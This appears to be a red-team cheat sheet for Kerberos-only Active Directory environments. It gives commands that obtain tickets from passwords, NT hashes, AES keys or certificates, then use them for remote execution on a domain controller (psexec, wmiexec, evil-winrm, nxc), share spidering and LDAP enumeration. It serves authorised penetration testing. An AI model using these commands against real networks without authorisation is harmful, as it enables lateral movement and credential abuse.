When NTLM authentication is blocked at the domain level, every tool that defaults to NTLM will silently fail or error out. Everything must go through Kerberos. The universal requirements are: a valid TGT or service ticket in a ccache file, FQDNs as targets (Kerberos tickets are issued for hostnames, not IPs), and a working /etc/krb5.conf.
Setup
krb5.conf
Most Linux tools read /etc/krb5.conf to find the KDC. Without it, Kerberos auth will fail with KDC not found or Cannot contact any KDC.
Kerberos tickets bind to FQDNs. IP targets will fail even with a valid ticket.
echo "$DC_IP $DC_HOST $DOMAIN" | sudo tee -a /etc/hosts
Getting a TGT
# kinit: native Kerberos, stores ticket in default ccache (/tmp/krb5cc_<uid>)# no KRB5CCNAME needed, tools pick it up automaticallykinit $USER@$DOMAINklist# kinit with a specific ccache pathKRB5CCNAME=/tmp/$USER.ccache kinit $USER@$DOMAIN# getTGT.py: saves to a named file# KRB5CCNAME must be an absolute path — tools like smbclient.py and evil-winrm# read directly from the variable and will fail on relative pathsgetTGT.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IPexport KRB5CCNAME=$(pwd)/$USER.ccache# getTGT.py with NT hash (Pass-the-Key)getTGT.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IPexport KRB5CCNAME=$(pwd)/$USER.ccache# getTGT.py with AES keygetTGT.py $DOMAIN/$USER -aesKey $AES_KEY -dc-ip $DC_IPexport KRB5CCNAME=$(pwd)/$USER.ccache# With certificate (PKINIT)certipy auth -pfx $USER.pfx -dc-ip $DC_IP -no-hashexport KRB5CCNAME=$(pwd)/$USER.ccache# Verify and destroyklistkdestroy
Tool Reference
SMB
# smbclient.py (impacket): reads KRB5CCNAME — must be an absolute pathexport KRB5CCNAME=/path/to/$USER.ccachesmbclient.py -k -no-pass $DC_HOST# Inside the prompt:# shares# use Finance# ls# Native smbclient does NOT work in NTLM-disabled environments# nxc: --use-kcache reads KRB5CCNAME, FQDN mandatory (not IP)nxc smb $DC_HOST -k --use-kcachenxc smb $DC_HOST -k --use-kcache --sharesnxc smb $DC_HOST -k --use-kcache -x "whoami"# Spider a sharenxc smb $DC_HOST -k --use-kcache -M spider_plus --share Finance
Remote Execution
# psexec / wmiexec / smbexec / atexec: same patternpsexec.py -k -no-pass $DOMAIN/$USER@$DC_HOSTwmiexec.py -k -no-pass $DOMAIN/$USER@$DC_HOSTsmbexec.py -k -no-pass $DOMAIN/$USER@$DC_HOST# WinRM: KRB5CCNAME must be set to an absolute path before runningexport KRB5CCNAME=/path/to/$USER.ccacheevil-winrm -i $DC_HOST -r $DOMAIN
LDAP
# bloodyAD: pass -k with ccache pathbloodyAD -k ccache=$USER.ccache -d $DOMAIN --host $DC_HOST get writable# ldapsearch with GSSAPI (kinit first or KRB5CCNAME set)ldapsearch -H ldap://$DC_HOST -Y GSSAPI \ -b "DC=$DOMAIN,DC=local" "(objectClass=user)" sAMAccountName